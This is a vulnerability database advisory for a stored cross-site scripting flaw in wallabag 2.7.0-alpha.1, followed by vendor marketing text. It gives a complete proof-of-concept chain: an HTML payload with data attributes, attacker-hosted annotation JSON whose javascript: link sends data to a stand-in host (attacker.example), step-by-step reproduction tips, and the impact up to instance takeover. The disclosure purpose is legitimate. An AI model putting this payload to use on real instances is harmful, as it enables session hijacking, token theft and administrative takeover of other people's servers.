
Cloud Vulnerability DB
A community-led vulnerabilities database
wallabag 2.7.0-alpha.1 lets all data-* attributes through its HTML sanitizer (htmLawed) and renders entry content with |raw. Stimulus treats those attributes as component configuration, so attacker-authored content can instantiate the annotations controller with attacker-controlled URLs. The annotation JSON supplies links[].href, which annotator writes into the viewer without scheme validation; a javascript: link runs in the victim's session on click.
Affected: 2.7.0-alpha.1 and master (2.7.0-dev). 2.6.x is not affected: it has no Stimulus. Chain:
<div data-controller="annotations" data-annotations-entry-id-value="1" data-annotations-search-url-value="https://attacker.example/c"> <p>View the original webpage for this article</p> </div> 3. https://attacker.example/c returns, with Access-Control-Allow-Origin: *: {"rows":[{"id":1, "ranges":[{"start":"/p[1]","startOffset":0,"end":"/p[1]","endOffset":36}], "links":[{"rel":"alternate","type":"text/html", "href":"javascript:void(document.title='XSS_OK',(new Image()).src='https://attacker.example/x?d='+encodeURIComponent(document.title))"}], "text":"View the original webpage"}]} 4. Open /view/{id}. The page requests /c?entry=1, highlights the text; hover it and click "View as webpage". 5. Observed: request to /c, then document.title = XSS_OK and GET /x?d=XSS_OK. Notes: ranges must point to an element (/p[1]), not a text node; offsets are text offsets. Use https endpoints when the instance is https. For the full fetch path, use a public attacker host; 2.7 blocks private/reserved addresses.
Same-origin script execution in the victim's wallabag session: read all entries and annotations, read /config (RSS/OPDS tokens in cleartext), create/delete annotations and tokens. If the victim is a superadmin: read /settings and /users, create users, edit other users -> practical instance takeover. Requires saving the attacker page and one click; HttpOnly cookies are not exposed, but same-origin reads are sufficient.
Source: NVD
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."